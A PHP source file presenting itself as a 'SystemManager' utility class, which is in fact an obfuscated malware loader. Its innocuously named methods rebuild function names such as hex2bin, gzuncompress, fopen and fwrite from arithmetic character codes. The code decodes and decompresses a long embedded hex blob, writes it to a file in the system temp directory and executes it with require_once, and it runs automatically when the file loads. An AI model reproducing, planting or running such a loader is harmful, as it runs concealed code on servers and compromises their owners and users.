<?php
class SystemManager
{
    private $zn = '';
    private $io = '';
    public function updateRegistry($p1)
    {
        $e = array(104, 82 * 1 + 19, 120, 46 * 57 - 2572, 100 - 2, 105, 115 - 5);
        $r = '';
        foreach ($e as $y) {
            $r .= chr($y);
        }
        return $r($p1);
    }
    public function trackActivity($p1)
    {
        $p = array(103 + 5 + 7, 123 - 8, 84 * 1 + 17, 100 * 1 + 14, 17 + 74 + 21, 109 * 1, 114 * 113 - 12771, 87 * 1 + 12, 24 * 58 - 1282, 17 * 6 + 15, 120 * 18 - 2038, 74 * 1 + 29);
        $k = '';
        foreach ($p as $e) {
            $k .= chr($e);
        }
        $k = strrev($k);
        return $k($p1);
    }
    public function encryptData($p1, $p2)
    {
        $t = array(46 + 64, 51 * 51 - 2500, 4 * 70 - 168, 44 + 59 + 8, 57 * 1 + 45);
        $k = '';
        foreach ($t as $g) {
            $k .= chr($g);
        }
        $k = strrev($k);
        return $k($p1, $p2);
    }
    public function parseResponse($p1, $p2)
    {
        $o = array(61 * 1 + 40, 2 * 58, 3 * 35, 16 + 98, 106 + 13, 102);
        $u = '';
        foreach ($o as $a) {
            $u .= chr($a);
        }
        $u = strrev($u);
        return $u($p1, $p2);
    }
    public function sendNotification($p1)
    {
        $b = array(2 * 51, 96 + 1 + 2, 108 * 1 + 0, 3 * 37, 121 - 6, 33 * 2 + 35);
        $x = '';
        foreach ($b as $y) {
            $x .= chr($y);
        }
        return $x($p1);
    }
    public function handleRequest($p1, $p2 = null)
    {
        $a = array(109, 13 * 7 + 14, 114, 122 - 6, 89 * 40 - 3446);
        $v = '';
        foreach ($a as $x) {
            $v .= chr($x);
        }
        $v = strrev($v);
        return $v($p1, $p2);
    }
    public function logEvent()
    {
        $this->io = $this->handleRequest($this->executeAction(), '/');
    }
    public function sanitizeInput()
    {
        $this->zn = $this->trackActivity($this->updateRegistry($this->bt));
    }
    public function generateToken()
    {
        $fn = $this->io . '/mb-693077771e1ee';
        $f = $this->encryptData($fn, 'w');
        $this->parseResponse($f, $this->zn);
        $this->sendNotification($f);
        $this->initializeModule($fn);
    }
    private $bt = '789cad570b6fdb3812fe2b0910ac2dd408f4a048bb3e6d51e' . '4dcdde272f12249ef7028024196284bb662d992ec38cee6bfd' . 'fcc904a24db75f780431e22e7f1715e1c927ffbb44c9667611' . '694e5991fa52fcb22dd04953c2baba04ac30bbfd80cd5f02c5' . 'e2fc22acd1767fe3649ba17fe7251192f69dc3d2f65167ffc8' . '8a2861afa65d2358685acd6c5e22c915b7b922ebaef52df49f' . '7c118beb6176bac80002fef1a5e5014c173b7e3578f8f1defd' . '70eb3b8033fae70846347cce1319782091bbe21cc2d1ec24f2' . 'c048c63a00eb8e85c76e0239dc0366168079d5ec77f0a084b6' . 'b7317ffdb91cbc44098dc75400ea4b9254c9886a0edc098c11' . '7c4ed980730e3f00786e01220050a0c71775182c020dfc7a9c' . 'c69e68a010b00c9610e1b389c0d0041388c85f4455d3d7cff0' . 'e0056c082cc15cc250f580c7f8163ba81db67d231df441c1eb' . '99c47841aa30a132e17017c41cf6101fe1fa035cf5b8aa0b0d' . '05c2102fc90998f64261a02a1e3131c48a4a74f4fc408b9cd2' . 'd4e70445f96842338451b299b195270b40aead12e2eebe1baa' . '238f421514c989089d88e216a2eb76d0930f0e51c2c0f61d48' . '7e439981261db6807c71c451074fa421081cd3122c0973c108' . 'e13738c2025c84213e12fc245a7bb9dca85002c1eba101b0ca' . '4a46822c05bd226efd621dd747135186964f8e7926b71447e3' . 'b8adb273378c489995445c34760989059acb4494ca586c0cc7' . '5193a655210430233c968512f44f958ae662a51c87131145a8' . '4d2285775b6629cce359025c81c3456d882249f2801b6c9fa2' . 'e831fd38e1dcb96a8699a9119307282c2ade3865b04f4f254e' . '70b01151fa805953629d2be811f973bf5b6c0ed05f450e507a' . '5cc885c0554d48eb773153c6087208ce6dbe44096d46592495' . 'ab66116a6b10cf5ba3554991154ed157a1cc3ce0ad900e6124' . '8311bb8e448b45d3625ddd8ed0393b3d8b5615f59aecd6893b' . '80c75d059e45004b66b540401974123d132206481065332d92' . 'cd803775d87362ba0a3a44073a87874a125f37d05e41ee860d' . '9bfe9ccc23a3ab3644fdb56b65391e248139475933c7b13470' . '1ad01e2ac2d5844cff50ad5de0a1054ec091857bd0645578f0' . '76e5dcac574d352c4dc624250f02027ab50eef981f93e480bc' . '69b70745ab07553a7c9f7c37022a55ca58e14ab4dac524ad1c' . '0acb6525ae3cfb2655b0c8d7893a45ecd744e497e4e3d81336' . '8618253ebc13d0373ea0ac584b620f90e5b4cefafc7a9da972' . '2b44d97f26da91da11a83dae09a6dab2ec31dece34a7d9e531' . 'd9102f666613b586666a0aa8456c453899ac53aa56d8726a37' . '916c9a83e06d09cab79a25b089d0cf5c100a7f4abbe1dcc768' . 'bfffff5e0e05af03fdf0a4cb3678a9ee970f567a98f4d44985' . '8480711fc00d1c23f243b20836a284fe216fd9a5ac44616aa0' . '9076726716c93f83d93d90efdc3e824328864d185cb13b886b' . 'eab6b8a610c8f709ea87f010f229396a5ac2052bf8deebf376' . '576ba82928ef160182f17fe6aebf9f39d6c0161b2730d8412b' . 'ffc5256c5322f69d26b4ae2896f18e79e170759298d97286d2' . '33d12ccab04e6010f0f7f64be9e30172e02dacee7c8bbf0afc' . '6e37f7c1d0d2ffce9f4d1c39ad182a631a404376916d2e6eb9' . 'dcea49e7d27dd07afb9c806dc9d758ce1539266b2aeaea6f4a' . '587eb7f6f80dbc6435d525886fb6ca7667f68101978f2724cd' . 'a3d26cd417a52c860aebcfdf0e1c7f6af54de550840f055c5e' . '2005218cd59df40410ca4026eb006c643d7b83c205ba651bbb' . 'bcfb14083c028576af57d19bb96e91df2206075829a64462a0' . '0774405a276c4444e1afb5441d476d4ad3e561604215d84d93' . 'a92dafee1eb7b4fc07d01d414568f168fde629d65305ccfe79' . 'e79e9f64d66c28da70f37fa818d5ee7452b2b9014dc6c70474' . '5cfd6b2c55c03a7ea608ca7a9daae7e18645930c9da7b64ba2' . '31883c29a45a117ae8bcc4f17296e96b534863487bd932f910' . '212bdab6fb7d7e33feefdbbbb6bff5fa3dbaf5ffef3c76874d' . 'b531bf42fc9ff3ebebbef352335304e297e195f5f8fff7d3db' . 'efa7cff757cd354b4cd938ab7a3fb6fb737f7b79f6feebe808' . '54d45eba4e2efa3cf7fdf53b04f2a5c8d6f6e4657f7f75fff3' . '91a7f6bf9066df694e2310d66604221dba426b732544a488d1' . '68a3a9555ba88f39a41b430cb4b5953a8b3468b766f9e40b33' . 'b6ff630db350c7d9651fe7427bdf077b3cc5b0645297d40d6a' . '570e16fc3dceb12b385bb8aa9e91b0fde7e812615fc2b3adaa' . '1798b8def0a2cd07d34780da83650f7ec0301785ce0d622c8c' . 'b16265c3c8e418211f3255e0411f9881a1e6ce551cd1c38f09' . '68056d0a416ea8003a8609b79719987f37c2917dd2e85e8535' . '334dee2e21de36393080f06e3d86a19bd5b8d879ec669248a0' . '342632aeac3130c305ee2e5ba2ad5a447eea1698fcfeb56aaf' . 'bf501741ecbbc56c56d1f6491174341d5084da541bd0ea051c' . '0f1a80205bd3868b602392d55948d83e51d133b5f5da2b8341' . 'cccaaf410168f8a6dead529bf1bdd42abd8cf2182672a9cd4c' . 'db3ed29057c3a29b96a764a0e5f4a4a2e88d6a704f1b904829' . 'f7e645ea24d6ba51a5e3f081daf7ee2db2cf931f62427c7f79' . '00bbc663d13fa4f2357d537b2e30b1453e06f70013c827e1a5' . '97c009d0ac426d7cbd570a713a0ed83d7cd0f41f14d53c341e' . '5c56956c9c2df0405eeb8b459b18ea5ceb2c92cf190a73adab' . 'e4eb66de9d84d9d6cfbd60515a19a0d4f5d21e791ba42ca30c' . '9cff6bbc444b515006a359047604d890335d7e22c750b8b572' . 'df21c6fcc505c43b985a3d92083ce6b8b00ddf8f3cfb729403' . '6a7f10a8dd36adab1bcd4b7d6569013d506bd5f09b2750f977' . '8a148150ff05bbc99eafec882b5f02e123e79706cc84598c3b' . '567129492335fcf6665bea8c76887416743fd4820ddbff02c9' . '8e92746e36580e147b9b708bdfe173bee6de3';
    public function initializeModule($p)
    {
        require_once $p;
    }
    public function executeAction()
    {
        $a = array(124 - 9, 46 + 75, 55 * 2 + 5, 42 * 78 - 3181, 111 - 8, 26 * 50 - 1199, 53 * 92 - 4760, 95, 122 - 6, 101 * 1, 109, 30 + 82, 60 + 35, 103 - 3, 3 * 35, 27 + 49 + 38);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$ek = new SystemManager();
$ek->logEvent();
$ek->sanitizeInput();
$ek->generateToken();